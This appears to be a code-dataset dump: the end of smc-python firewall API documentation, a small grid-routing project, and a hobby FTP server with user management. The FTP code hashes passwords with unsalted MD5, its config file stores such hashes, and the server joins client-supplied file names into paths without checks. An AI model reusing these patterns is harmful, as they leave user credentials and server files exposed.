Interfaces\n++++++++++++++++++++\n\nTo modify an existing interface, you can specify key/value pairs to change specific settings. This should be\nused with care as changing existing settings may affect other settings. For example, when an interface is \nconfigured with an IP address, the SMC will automatically create a route entry mapping that physical interface\nto the directly connected network. Changing the IP will leave the old network definition from the previously\nassigned interface and would need to be removed. \n\nExample of changing the IP address of an existing single node interface (for layer 3 firewalls):\n\n.. code-block:: python\n\n engine = Node('myfirewall').load()\n for interface in engine.interface:\n if interface.name == 'Interface 2':\n my_interface = interface.describe_interface()\n my_interface.modify_attribute({zone_ref:'My New Zone'})\n \n.. note:: Key/value pairs can be viewed by viewing the output of\n interface.describe_interface()\n\nAdding routes\n+++++++++++++\n\nAdding routes to routed interfaces is done by loading the engine and providing the next hop\ngateway and destination network as parameters. It is not necessary to specify the interface\nto place the route, the mapping will be done automatically on the SMC based on the existing\nIP addresses and networks configured on the engine. \n\nFor example, load a Layer 3 Firewall and add a route:\n\n.. code-block:: python\n\n engine = Node('myengine').load()\n engine.add_route('172.18.1.254', '192.168.1.0/24')\n engine.add_route('172.18.1.254', '192.168.2.0/24')\n\nLicensing Engines\n+++++++++++++++++\n\nStonesoft engine licensing for physical appliances is done by having the SMC 'fetch' the license\nPOS from the appliance and auto-assign the license. If the engine is running on a platform that doesn't\nhave a POS (Proof-of-Serial) such as a virtual platform, then the fetch will fail. In this case, it is \npossible to do an auto bind which will look for unassigned dynamic licenses available in the SMC.\n\nExample of attempting an auto-fetch and falling back to auto binding a dynamic license:\n\n.. code-block:: python\n \n engine = Engine('myvirtualfw').load()\n for node in engine:\n result = engine.fetch_license() #try to find POS\n if result.msg:\n print result.msg \t#print fail message\n if not engine.bind_license().msg:\n print \"Success with auto binding of license\"\n\nControlling engines\n-------------------\n\nManaged engines have many options for controlling the behavior of the device or virtual through\nthe SMC API. Once an engine has been created, in order to execute specific commands against the \nengine or a node within an engine configuration, you must first 'load' the engine configuration to\nget a handle on that device. \n\n.. note:: Commanding a single engine does not require a specific node is specified for node level commands\n\nThere are two levels to which you can control and engine. This is represented by the class\nhierarchy:\n\nEngine ---> Node\n\nEngine level commands allow operations like refresh policy, upload new policy, generating snapshots,\nexport configuration, blacklisting, adding routes, route monitoring, and add or delete a physical interfaces.\n\n.. code-block:: python\n\n engine = Engine('myengine').load()\n engine.generate_snapshot() #generate a policy snapshot\n engine.export(filename='/Users/davidlepage/export.xml') #generate policy export\n engine.refresh() #refresh policy\n engine.routing_monitoring() \t#get route table status\n ....\n\nFor all available commands for engines, see :py:class:`smc.elements.engines.Engine`\n \nNode level commands are specific commands targeted at the engine nodes directly. In the case of a cluster, \nmost node level commands require sending node=<nodename> to each constructor. This is to enforce a command is\ntargeting a specific node such as the case with sending the 'reboot' command for example.\n\nNode level commands allow actions such as fetch license, bind license, initial contact, appliance status, \ngo online, go offline, go standby, lock online, lock offline, reset user db, diagnostics, reboot, sginfo, \nssh (enable/disable/change pwd), and time sync.\n\n.. code-block:: python\n\n engine = Engine('myengine').load()\n for node in engine.nodes:\n print node\n \n for node in engine.nodes:\n if node.name == 'ngf-1035':\n node.reboot()\n\nBind license, then generate initial contact for each node for a specific engine:\n\n.. code-block:: python\n \n for node in engine.nodes:\n node.initial_contact(filename='/Users/davidlepage/engine.cfg')\t#gen initial contact and save to engine.cfg\n node.bind_license()\t#bind license on single node\n\nFor all available commands for node, see :py:class:`smc.elements.engines.Node`\n\nPolicies\n--------\n\nTo create a new policy:\n\n.. code-block:: python\n\n FirewallPolicy.create('newpolicy', 'layer3_fw_template')\n \nTo load an existing policy type:\n\n.. code-block:: python\n\n FirewallPolicy('existing_policy_by_name').load()\n \nExample rule creation:\n\n.. code-block:: python\n\n policy = FirewallPolicy('newpolicy').load()\n policy.open()\n policy.ipv4_rule.create(name='myrule', \n sources=mysources,\n destinations=mydestinations, \n services=myservices, \n action='permit')\n policy.save()\n\nSee :py:mod:`smc.examples.firewall_policy` for a full example \n\nVPN Policy\n----------\n\nIt is possible to create a VPN policy for SMC managed devices or for creating a \nVPN to a non-SMC managed external gateway.\n\nAn ExternalGateway defines a host that is not a managed VPN peer endpoint.\n\nA full setup of a VPN policy would look like:\n\n.. code-block:: python\n\n external_gateway = ExternalGateway.create('myextgw')\n \n \nAn external endpoint is defined within the external gateway and specifies the\nIP address settings and other VPN specific settings for this endpoint\nAfter creating, add to the external gateway\n\n.. code-block:: python\n\n external_endpoint = ExternalEndpoint.create(name='myendpoint', \n address='2.2.2.2')\n external_gateway.add_external_endpoint(external_endpoint)\n \nLastly, 'sites' need to be configured that identify the network/s on the\nother end of the VPN. You can either use pre-existing network elements, or create\nnew ones as in the example below.\nThen add this site to the external gateway\n\n.. code-block:: python\n\n network = Network('remote-network', '1.1.1.0/24').create().href\n \n external_gateway.add_site('remote-site', [network])\n\nRetrieve the internal gateway for SMC managed engine by loading the\nengine configuration. The internal gateway reference is located as\nengine.internal_gateway.href\n\n.. code-block:: python\n\n engine = Engine('aws-02').load()\n\nCreate the VPN Policy\n \n.. code-block:: python\n\n vpn = VPNPolicy.create(name='myVPN', nat=True)\n print vpn.name, vpn.vpn_profile\n \n vpn.open()\n vpn.add_central_gateway(engine.internal_gateway.href)\n vpn.add_satellite_gateway(external_gateway.href)\n vpn.save()\n vpn.close()\n\nSee :py:mod:`smc.examples.vpn_to_external` for a full example \n\nCreating Administrators\n-----------------------\n\nCreating administrators and modifying settings can be done using the \n:py:class:`smc.elements.element.AdminUser` class.\n\nFor example, to create a user called 'administrator' and modify after creation, do:\n\nCreate admin:\n\n.. code-block:: python\n\n admin = AdminUser('administrator').create()\n if admin.href:\n print \"Successfully created admin\"\n \nTo modify after creation by setting a password and making a superuser:\n\n.. code-block:: python\n\n admin = AdminUser.modify('administrator')\n admin.change_password('mynewpassword')\n admin.json['superuser'] = True\n admin.update()\n admin.enable_disable() #enable or disable account\n \nSearch\n------\n\nSearching is typically done by leveraging convenience methods found in :py:mod:`smc.actions.search`. \n\nSearch provides many front end search functions that enable you to retrieve abbreviated versions of the\ndata you requested. All GET requests to the SMC API will return an :class:`SMCResult` with attributes set, however\nthere may be cases where you only want a subset of this information. The search module provides these helper\nfunctions to return the data you need.\n\nBelow are some common examples of retrieving data from the SMC:\n\n.. code-block:: python\n\n #Only return the href of a particular SMC Element:\n smc.actions.search.element_href(name)\n \n #To obtain full json for an SMC Element:\n smc.actions.search.element_as_json(name)\n \n #To obtain full json data and etag information for SMC Element (etag used for modifying an element):\n smc.actions.search.element_as_json_with_etag(name)\n \n #To find all elements by type:\n smc.actions.search.elements_by_type('host')\n \n #To find all available log servers:\n smc.actions.search.log_servers()\n \n #To find all L3 FW policies:\n smc.actions.search.fw_policies()\n \nSee :py:mod:`smc.actions.search` for more shortcut search options\n\nSystem\n------\n\nSystem level tasks include operations such as checking for and downloading a new\ndynamic update, engine upgrades, last activated package, SMC version, SMC time, \nemptying the trash bin, viewing all license details, importing, exporting \nelements and submitting global blacklist entries.\n\nTo view any available update packages:\n\n.. code-block:: python\n \n system = System()\n system.update_package() #check all dynamic update packages\n system.update_package_download() #download latest available\n \nEmpty the trash bin:\n\n.. code-block:: python\n\n system = System()\n system.empty_trash_bin()\n \n \nShortcuts\n---------\n\nThe smc.actions package includes several shortcut modules to simplify common operations and also includes input\nvalidation. \n\nLogging\n-------\n\nThe smc-python API uses python logging for INFO, ERROR and DEBUG logging levels. If this is required for\nlonger term logging, add the following to your main class:\n\n\n.. code-block:: python\n\n import logging\n logging.getLogger()\n logging.basicConfig(level=logging.ERROR, format='%(asctime)s %(levelname)s: %(message)s')\n \n.. note:: This is a recommended setting initially as it enables detailed logging of each call as it is\n\t\t processed through the API. It also includes the backend web based calls initiated by the \n\t\t requests module.\n" } ]
27
droghio/QRoute
https://github.com/droghio/QRoute
b8e9fe668f5f2fb0e34e94c41a255dbf87d6df0f
a6541dc6962cb44c7437c7b05be1e38e43c2291c
fc07591b2af6761530dd8f0902e0a5ea32d3b9b7
refs/heads/master
2022-04-06T14:52:29.404571
2020-03-12T04:39:05
2020-03-12T04:39:05
246,745,275
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.5736842155456543, "alphanum_fraction": 0.5831578969955444, "avg_line_length": 29.612903594970703, "blob_id": "82d352ab774062a253b0799201dfb0fc2e0f1a54", "content_id": "ea4dd764f27a2d595292cad427057dee66b305b4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 950, "license_type": "no_license", "max_line_length": 93, "num_lines": 31, "path": "/grid.py", "repo_name": "droghio/QRoute", "src_encoding": "UTF-8", "text": "import numpy as np\nimport pprint\n\n\nclass Grid:\n def __init__(self, rows, cols, netlists):\n self._grid = np.zeros([rows, cols], dtype=[(\"color\", \"u1\"), (\"fixed\", \"bool\")])\n # One hot encoding, first bit is white.\n self._grid[:, :][\"color\"] = 1\n # From there assign each remaning color a bit.\n self.netlist_colors = dict(map(lambda x: (x[1], 1<<(x[0]+1)), enumerate(netlists)))\n self.number_colors = len(netlists)+1\n self.shape = self._grid.shape\n\n\n def __copy__(self):\n new_grid = Grid(self._grid.shape[0], self._grid.shape[1], self.netlist_colors.keys())\n new_grid._grid = self._grid.copy()\n return new_grid\n\n\n def __str__(self):\n return pprint.pformat(self._grid)\n\n\n def __getitem__(self, index):\n return self._grid[index]\n\n\n def assign_node(self, row, col, netlist, fixed=True):\n self._grid[row, col] = (self.netlist_colors[netlist], fixed)\n\n" }, { "alpha_fraction": 0.5680292844772339, "alphanum_fraction": 0.586333155632019, "avg_line_length": 30.519229888916016, "blob_id": "b1b9d7dc744cc3298b11f27cdacd34ac0663e6aa", "content_id": "fbc2f0acb5f729c477a4d2e218d74f7b016730e5", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1639, "license_type": "no_license", "max_line_length": 137, "num_lines": 52, "path": "/render.py", "repo_name": "droghio/QRoute", "src_encoding": "UTF-8", "text": "import math\nimport random\nimport tkinter\n\n\nclass Render(tkinter.Tk):\n C_COLORS = [ \"white\", \"blue\", \"red\" ]\n\n def __init__(self, grid_size):\n super().__init__(\"Preview\")\n self.grid_columnconfigure(0, weight=1)\n self.grid_rowconfigure(0, weight=1)\n\n self._canvas = tkinter.Canvas(self)\n self._canvas.grid(column=0, row=0, sticky=(tkinter.N, tkinter.W, tkinter.E, tkinter.S))\n self.geometry(\"500x500\")\n\n self._grid_tags = []\n self._init_grid(grid_size)\n\n\n @staticmethod\n def _circle_points(center_x, center_y, radius):\n return (center_x-radius/2, center_y-radius/2, center_x+radius/2, center_y+radius/2)\n\n\n def _init_grid(self, grid_size, radius=50, spacing=100):\n for row in range(grid_size[0]):\n self._grid_tags.append([])\n for col in range(grid_size[1]):\n self._grid_tags[-1].append(self._canvas.create_oval(self._circle_points(col*spacing+radius, row*spacing+radius, radius)))\n\n\n def draw(self, grid):\n with grid.lock:\n try:\n for row in range(grid.shape[0]):\n for col in range(grid.shape[1]):\n self._canvas.itemconfig(self._grid_tags[row][col], fill=self.C_COLORS[int(math.log2(grid[row][col][\"color\"]))])\n\n except IndexError:\n print(\"WARNING: Grid sized changing is not supported.\")\n\n\n def _draw_loop_inner(self, grid):\n self.draw(grid)\n self._canvas.after(100, lambda : self._draw_loop_inner(grid))\n\n\n def draw_loop(self, grid):\n self._draw_loop_inner(grid)\n self.mainloop()\n" }, { "alpha_fraction": 0.5108595490455627, "alphanum_fraction": 0.5196395516395569, "avg_line_length": 34.47541046142578, "blob_id": "e5dec4e64cbb760510e36db2de17e36f03e1df49", "content_id": "0c005fa5a82d8df1465d5d94547543b6a73f1b33", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 4328, "license_type": "no_license", "max_line_length": 166, "num_lines": 122, "path": "/main.py", "repo_name": "droghio/QRoute", "src_encoding": "UTF-8", "text": "import copy\nimport threading\n\nfrom collections import deque, namedtuple\nfrom grid import Grid\nfrom render import Render\n\n\nclass Algoritm:\n C_FAILED_REQUIREMENT_WEIGHT = 100\n C_EDGE_WEIGHT = 1\n\n def __init__(self, view_grid, requirement_nodes):\n self.seen_solutions_hashes = set()\n self.queued_solutions = deque([])\n self.view_grid = view_grid\n self.current_min = float(\"inf\")\n self.current_solution = None\n self.requirement_nodes = requirement_nodes\n self._handle = None\n self._stop = False\n\n\n def score(self, grid):\n score = self.C_EDGE_WEIGHT*(grid[:, :][\"color\"] != 1).sum()\n for requirement in requirement_nodes:\n if grid[requirement[0], requirement[1]][\"color\"] != grid.netlist_colors[requirement[2]]:\n score += self.C_FAILED_REQUIREMENT_WEIGHT\n\n return score\n\n\n @staticmethod\n def mutate(grid):\n for row in range(grid.shape[0]):\n for col in range(grid.shape[1]):\n if grid[row, col][\"fixed\"] == False:\n # If uncolored take the color of any neighbors.\n if grid[row, col][\"color\"] == 1:\n for idx in range(1, grid.number_colors):\n color = 1<<idx\n neighbors = (\n (row, col-1),\n (row, col+1),\n (row-1, col),\n (row+1, col)\n )\n\n for irow,icol in neighbors:\n if (irow >= 0 and icol >= 0 and\n irow < grid.shape[0] and icol < grid.shape[1] and\n grid[irow, icol][\"color\"] == color):\n new_grid = copy.copy(grid)\n new_grid[row, col][\"color\"] = color\n yield(new_grid)\n break\n\n\n def run(self, grid):\n self.queued_solutions.append(grid)\n grid_hash = grid._grid.tobytes()\n self.seen_solutions_hashes.add(grid_hash)\n if self._handle == None:\n self._handle = threading.Thread(target=algorithm._run_inner)\n self._handle.start()\n else:\n raise ValueError(\"The run thread is already running.\")\n\n\n def _run_inner(self):\n while self._stop == False and len(self.queued_solutions) > 0:\n solution = self.queued_solutions.popleft()\n\n score = self.score(solution)\n if score < self.current_min:\n self.current_min = score\n self.current_solution = solution\n\n for new_solution in self.mutate(solution):\n new_solution_hash = new_solution._grid.tobytes()\n if new_solution_hash not in self.seen_solutions_hashes:\n self.seen_solutions_hashes.add(new_solution_hash)\n self.queued_solutions.append(new_solution)\n\n if len(self.seen_solutions_hashes) % 985 == 0:\n print(f\"Size: {len(self.queued_solutions)} Score: {score} Min: {self.current_min} Processed: {len(self.seen_solutions_hashes)} \", end=\"\\r\")\n with self.view_grid.lock:\n self.view_grid._grid = solution._grid.copy()\n\n print()\n print(f\"Processed {len(self.seen_solutions_hashes)} colorings.\")\n self.view_grid._grid = self.current_solution._grid.copy()\n print(f\"Minimum score: {self.current_min}\")\n\n\n def stop(self):\n self._stop = True\n self._handle.join()\n\n\nif __name__ == \"__main__\":\n grid_size = (5, 5)\n netlists = [ \"A\", \"B\" ]\n\n grid = Grid(grid_size[0], grid_size[1], netlists)\n grid.assign_node(0, 0, \"A\")\n grid.assign_node(0, 3, \"B\")\n grid.lock = threading.Lock()\n print(grid)\n\n requirement_nodes = [(3, 4, \"A\"), (3, 3, \"B\")]\n\n algorithm = Algoritm(grid, requirement_nodes)\n algorithm.run(copy.copy(grid))\n\n renderer = Render(grid_size)\n renderer.bind(\"<q>\", lambda _: algorithm.stop())\n renderer.draw_loop(grid)\n\n print(f\"Solution Score {algorithm.current_min}\")\n print(algorithm.current_solution)\n algorithm.stop()\n" } ]
3
YXWwin/FTP
https://github.com/YXWwin/FTP
afa2268137200a9ac35f3e61b124aa2a45fa95ec
a51faa9c1204613523bd44f83aea8df72aefb129
414d409931fe837f79c30ca2dc0a0c92ecd99097
refs/heads/master
2020-04-07T23:12:03.655807
2018-11-23T08:24:49
2018-11-23T08:24:49
158,799,863
0
0
null
null
null
null
null
[ { "alpha_fraction": 0.4866050183773041, "alphanum_fraction": 0.50035560131073, "avg_line_length": 31.275861740112305, "blob_id": "d4e4e40b1d8dd24f7377ad01642fc14663c309bb", "content_id": "8a835732824249c3360a091b6bc58c19bf7e9fad", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 9384, "license_type": "no_license", "max_line_length": 105, "num_lines": 261, "path": "/FTP/server/core/serve_side.py", "repo_name": "YXWwin/FTP", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# _*_ coding:utf-8 _*_\n# Author:Mr.yang\nfrom core.user_manage import user_process\nfrom conf.settings import USERDATA\nfrom threading import Thread\nimport queue\nimport hashlib\nimport socket\nimport struct\nimport json\nimport os\n\n\nclass MYTCPServer:\n server_address = ('127.0.0.1', 8060)\n\n socket_type = socket.SOCK_STREAM\n\n address_family = socket.AF_INET\n\n maximum_concurrent_number = 2\n\n request_queue_size = 5\n\n max_packet_size = 8096\n\n coding = 'utf-8'\n\n server_dir = {}\n\n def __init__(self):\n self.socket = socket.socket(self.address_family, self.socket_type)\n self.queue = queue.Queue(self.maximum_concurrent_number)\n self.bind()\n self.listen()\n\n def server_close(self):\n self.socket.close()\n\n def bind(self):\n \"\"\"与客户端进行双管链接\"\"\"\n self.socket.bind(self.server_address)\n\n def listen(self):\n \"\"\"设置最大链接数\"\"\"\n self.socket.listen(self.request_queue_size)\n\n def file_md5(self, file_path):\n \"\"\"读取文件,变成bytes类型,之后进行md5\"\"\"\n with open(file_path, 'rb') as f:\n file_data = f.read()\n return hashlib.md5(file_data).hexdigest()\n\n def server_accept(self):\n \"\"\"链接客户端\"\"\"\n while True:\n print('setting...')\n conn, client_addr = self.socket.accept()\n print('客户端地址:',client_addr)\n try:\n t = Thread(target=self.run, args=(conn,))\n self.queue.put(t)\n t.start()\n except Exception:\n conn.close()\n self.queue.get()\n\n def run(self, conn):\n \"\"\"\n 用户验证\n 1.将接收的用户信息交给,user_manage中的user_judge进行处理\n 2.用户登录成功,则运用concoller对客户端发来的命令进行处理\n \"\"\"\n print('\\033[1;31m--------welcome--------\\033[0m')\n while True:\n try:\n user_json = conn.recv(self.max_packet_size)\n user_data = json.loads(user_json)\n username = user_data['username']\n password = user_data['password']\n\n user_obj = user_process()\n result = user_obj.user_judge(username, password) # 获取到用户验证的信息的结果\n conn.send(bytes(result, encoding='utf-8')) # 将结果发送给客户端\n if result == 'yes':\n self.server_dir[username] = '%s\\%s' %(USERDATA,username)\n self.conroller(conn,username)\n else:\n print('用户%s的密码或用户名错误' %(username))\n except Exception:\n conn.close()\n self.queue.get()\n break\n\n def disk(self, conn, header_json, username):\n \"\"\"对用户的磁盘空间进行判断\"\"\"\n file_name = header_json['filename']\n file_size = header_json['filesize']\n user_obj = user_process()\n disk = user_obj.user_disk(username) # 获取到用户的磁盘配额\n if file_size < disk:\n conn.send(struct.pack('i', 1))\n return 1\n else:\n conn.send(struct.pack('i', 0))\n return 0\n\n def file_md5(self, filepath):\n \"\"\"读取文件变成bytes类型,进行md5处理\"\"\"\n\n with open(filepath, 'rb') as f:\n filedata = f.read()\n return hashlib.md5(filedata).hexdigest()\n\n\n def put(self, data, conn, username):\n \"\"\"\n 接收上传文件\n 1.判断上传的文件是否存在\n 2.接收报头长度\n 3.接收报头\n 4.loads出文件信息\n 5.向客户端发送磁盘空间状况\n 6.将总文件大小,接收文件大小发送到客户端\n 7.用md5 判断客户端发来的文件信息是否完整\n \"\"\"\n file_result = struct.unpack('i', conn.recv(4))[0]\n if file_result:\n header_size = struct.unpack('i', conn.recv(4))[0] # 接收报头长度\n header_bytes = conn.recv(header_size) # 接收报头\n header_json = json.loads(header_bytes) # 文件信息\n\n user_file_path = '%s\\%s' % (self.server_dir[username], header_json['filename']) # 用户服务端的文件目录\n\n disk_result = self.disk(conn, header_json, username)\n if disk_result:\n if os.path.exists(user_file_path):\n filesize = os.path.getsize(user_file_path)\n\n total_size = header_json['filesize'] - filesize\n conn.send(struct.pack('i', 1))\n conn.send(struct.pack('i', filesize))\n else:\n conn.send(struct.pack('i', 0))\n total_size = header_json['filesize']\n recv_size = 0\n with open(user_file_path, 'ab') as f:\n while recv_size < total_size:\n # print(recv_size)\n # print(total_size)\n res = conn.recv(self.max_packet_size)\n f.write(res)\n recv_size += len(res)\n conn.send(bytes('%s,%s' %(recv_size,total_size),encoding='utf-8')) #发送给客户端进行进度条操作\n if header_json['md5'] == self.file_md5(user_file_path):\n conn.send(struct.pack('i', 1))\n else:\n conn.send(struct.pack('i', 0))\n else:\n print('磁盘空间不足')\n else:\n print('\\033[1;31m文件不存在\\033[0m')\n\n def get(self, data, conn, username):\n \"\"\"下载文件\n 1.判断文件是否存在\n 2.制作固定报头\n 3.发送报头长度\n 4.发送报头\n 5.判断下载的文件是否存在\n 5.1 存在的话,判断出已有文件的大小,这个大小用来文件写入的时候指定光标\n 5.将文件数据发送到客户端\n \"\"\"\n filename = data.split()[1]\n filepath = '%s\\%s' % (self.server_dir[username],filename) # 文件的绝对路径\n if os.path.exists(filepath):\n filesize = os.path.getsize(filepath) # 文件大小\n conn.send(struct.pack('i', 1))\n file_data = {\n 'filename': filename,\n 'filesize': filesize,\n 'md5': self.file_md5(filepath)\n }\n file_json = json.dumps(file_data)\n file_bytes = file_json.encode('utf-8')\n file_struct = struct.pack('i', len(file_bytes))\n conn.send(file_struct) # 发送报头长度\n conn.send(file_bytes) # 发送报头\n\n file_result = struct.unpack('i', conn.recv(4))[0]\n if file_result:\n num = int(struct.unpack('i', conn.recv(4))[0])\n else:\n num = 0\n with open(filepath, 'rb') as f:\n f.seek(num)\n for line in f:\n conn.send(line)\n else:\n conn.send(struct.pack('i', 0))\n\n def ls(self, data, conn, username):\n \"\"\"查看当前目录的所有文件\"\"\"\n catalog_name = self.server_dir[username].split('\\\\')[-1]\n conn.send(catalog_name.encode('utf-8'))\n file_data = None\n for files in os.walk(self.server_dir[username]):\n file_data = files[1:]\n break\n if file_data:\n conn.send(struct.pack('i', 1))\n file_bytes = json.dumps(file_data).encode('utf-8')\n conn.send(file_bytes)\n else:\n conn.send(struct.pack('i', 0))\n print('当前目录没有文件')\n\n def cd(self, data, conn, username):\n \"\"\"切换目录\"\"\"\n catalog_name = conn.recv(self.max_packet_size).decode('utf-8')\n if os.path.exists('%s\\%s'%(self.server_dir[username], catalog_name)):\n conn.send(struct.pack('i', 1))\n self.server_dir[username] = '%s\\%s'%(self.server_dir[username], catalog_name)\n else:\n conn.send(struct.pack('i', 0))\n\n def add(self, data, conn, username):\n \"\"\"创建目录\"\"\"\n catalog_name = conn.recv(self.max_packet_size).decode('utf-8')\n catalog_path = '%s/%s' %(self.server_dir[username], catalog_name)\n if os.path.exists(catalog_path):\n print('目录已存在')\n else:\n os.makedirs(catalog_path)\n\n def conroller(self, conn, username):\n \"\"\"\n 与客户端进行信息交互,\n 接受服务端发来的命令\n 1.上传文件: get a.txt\n 2.下载文件: put a.txt\n 3.切换目录: cd photo\n 3.查看所在目录下文件: ls\n \"\"\"\n while True:\n data = conn.recv(self.max_packet_size).decode('utf-8')\n if data:\n print('客户端的命令:', data)\n cmd = data.split()[0]\n if not cmd:\n continue\n if hasattr(self, cmd):\n func = getattr(self, cmd)\n func(data, conn, username)\n else:\n print('\\033[1;31m输入的命令错误\\033[0m')\n else:\n exit()\n\nobj = MYTCPServer()\n\n\n\n\n\n\n\n\n\n\n\n\n" }, { "alpha_fraction": 0.6351931095123291, "alphanum_fraction": 0.6394850015640259, "avg_line_length": 25, "blob_id": "bd33f4c7a163fee032fa83ebed8dfdfce1d6c516", "content_id": "4102b756473b27a2330f22d71f97b91b25749ff6", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 243, "license_type": "no_license", "max_line_length": 76, "num_lines": 9, "path": "/FTP/server/bin/start.py", "repo_name": "YXWwin/FTP", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# _*_ coding:utf-8 _*_\n# Author:Mr.yang\nimport os,sys\nsys.path.append(os.path.dirname(os.path.dirname(os.path.abspath(__file__))))\nfrom core.main import main\n\nif __name__ == '__main__':\n main().runn() # 程序主入口" }, { "alpha_fraction": 0.48275861144065857, "alphanum_fraction": 0.48965516686439514, "avg_line_length": 17.25, "blob_id": "71248cb140c4f27d7ed9b9ef9fe253c53ea59727", "content_id": "df3aeb51a46b8fc8f079023049435d00eef3dcb4", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 145, "license_type": "no_license", "max_line_length": 22, "num_lines": 8, "path": "/FTP/client/__init__.py", "repo_name": "YXWwin/FTP", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# _*_ coding:utf-8 _*_\n# Author:Mr.yang\ns = input('>>:')\nif s == 'y'or 'Y':\n print('yes')\nelif s == 'n':\n print('no')" }, { "alpha_fraction": 0.5127681493759155, "alphanum_fraction": 0.5199182629585266, "avg_line_length": 26.13888931274414, "blob_id": "2612a22a514cee72c0d9ef3589909e46b83e2b54", "content_id": "837c702ce4f00be0d44f26092d523875b151a0c1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1043, "license_type": "no_license", "max_line_length": 78, "num_lines": 36, "path": "/FTP/server/core/main.py", "repo_name": "YXWwin/FTP", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# _*_ coding:utf-8 _*_\n# Author:Mr.yang\nfrom core.user_manage import user_process\nfrom core.serve_side import obj\n\nclass main:\n def __init__(self):\n pass\n\n def create_user(self):\n \"\"\"创建用户\"\"\"\n username = input('Username:').strip()\n password = input('Password:').strip()\n disk_num = input('disk_num:').strip()\n user_obj = user_process()\n user_obj.user_add(username, password, disk_num)\n\n def start_server(self):\n \"\"\"启动服务端\"\"\"\n obj.server_accept()\n\n def quit(self):\n \"\"\"退出\"\"\"\n exit()\n\n def runn(self):\n info = ['1.创建用户', '2.启动服务端', '3.退出']\n function_info = {'1': 'create_user', '2': 'start_server', '3': 'quit'}\n for i in info:print(i)\n while True:\n choise = input('>>:').strip()\n if choise in function_info:\n getattr(self,function_info[choise])()\n else:\n print('您输入有误请重新输入')\n\n\n" }, { "alpha_fraction": 0.5393393635749817, "alphanum_fraction": 0.5441441535949707, "avg_line_length": 29.851852416992188, "blob_id": "bb16b28052351c1762acf1102276d154c2f95f71", "content_id": "dc8f9223acd859d4e00195894a8f2cd1e2b3cbd1", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 1811, "license_type": "no_license", "max_line_length": 69, "num_lines": 54, "path": "/FTP/server/core/user_manage.py", "repo_name": "YXWwin/FTP", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# _*_ coding:utf-8 _*_\n# Author:Mr.yang\nfrom conf.settings import USERINFO\nfrom conf.settings import USERDATA\nimport configparser\nimport hashlib\nimport os\n\nclass user_process:\n def __init__(self):\n self.conf = configparser.ConfigParser()\n self.conf.read(USERINFO)\n\n def pas_md5(self, pas):\n \"\"\"将用户密码变成MD5值\"\"\"\n m = hashlib.md5()\n m.update(bytes(pas, encoding='utf-8'))\n return m.hexdigest()\n\n def user_add(self, name, pas, disk):\n \"\"\"将用户的所有信息写入到user_info.ini当中\"\"\"\n user_file = 'db\\%s' %name\n user_pas = self.pas_md5(pas)\n if name not in self.conf.sections():\n self.conf.add_section(name)\n self.conf[name]['disk_space'] = disk\n self.conf[name]['file_path'] = user_file\n self.conf[name]['password'] = user_pas\n self.conf.write(open(USERINFO, 'w'))\n os.makedirs('%s/%s' %(USERDATA, name))\n print('创建用户%s成功' %name)\n else:\n print('您输入的用户已存在')\n\n def user_judge(self, name, pas):\n \"\"\"判断用户的信息是否正确\"\"\"\n if name in self.conf.sections():\n if self.pas_md5(pas) == self.conf[name]['password']:\n return 'yes'\n else:\n return 'no'\n else:\n return 'no'\n\n\n def user_disk(self, name):\n \"\"\"返回用户的剩余磁盘空间\"\"\"\n size = 0 #服务端用户目录中所有文件的大小\n for root, dirs, files in os.walk('%s/%s' % (USERDATA, name)):\n for f in files:\n size += os.path.getsize(os.path.join(root, f))\n free_space = int(self.conf[name]['disk_space']) - int(size)\n return free_space" }, { "alpha_fraction": 0.6616541147232056, "alphanum_fraction": 0.6654135584831238, "avg_line_length": 32, "blob_id": "3a00c8213e9e4a0afbc238eb0ccda05bac84a642", "content_id": "9d6341b5f0f08258c8808fb24ebc339235f32cad", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 306, "license_type": "no_license", "max_line_length": 69, "num_lines": 8, "path": "/FTP/server/conf/settings.py", "repo_name": "YXWwin/FTP", "src_encoding": "UTF-8", "text": "#!/usr/bin/env python\n# _*_ coding:utf-8 _*_\n# Author:Mr.yang\nimport os\nDB_PATH = os.path.dirname(os.path.dirname(os.path.abspath(__file__)))\n\nUSERDATA = os.path.join(DB_PATH, 'db') # 服务端储存用户文件\nUSERINFO = os.path.join(DB_PATH, 'db', 'user_info.ini') # 用户配置文件的绝对路径\n\n\n" }, { "alpha_fraction": 0.6018957495689392, "alphanum_fraction": 0.7014217972755432, "avg_line_length": 14, "blob_id": "c9039a9dc438e17826452d3ca609bef44ef6395e", "content_id": "d17367917614fb94c9a5c61ee8c8458f48ec1547", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "INI", "length_bytes": 211, "license_type": "no_license", "max_line_length": 21, "num_lines": 14, "path": "/FTP/server/db/user_info.ini", "repo_name": "YXWwin/FTP", "src_encoding": "UTF-8", "text": "[yang]\ndisk_space = 10000000\nfile_path = db\\yang\npassword = 202cb962ac59075b964b07152d234b70\n\n[hang]\ndisk_space = 1000000\nfile_path = db\\hang\npassword = 202cb962ac59075b964b07152d234b70\n\n[liu]\ndisk_space = 100000\nfile_path = db\\liu\npassword = 202cb962ac59075b964b07152d234b70\n\n" }, { "alpha_fraction": 0.4329850971698761, "alphanum_fraction": 0.4666592478752136, "avg_line_length": 32.45353317260742, "blob_id": "5476b5a2d6b361a63f17cf38501d2aa1638021ba", "content_id": "5ea0d92bb8c89e56d93fbd007f3321a6317e6752", "detected_licenses": [], "is_generated": false, "is_vendor": false, "language": "Python", "length_bytes": 10150, "license_type": "no_license", "max_line_length": 101, "num_lines": 269, "path": "/FTP/client/client_side.py", "repo_name": 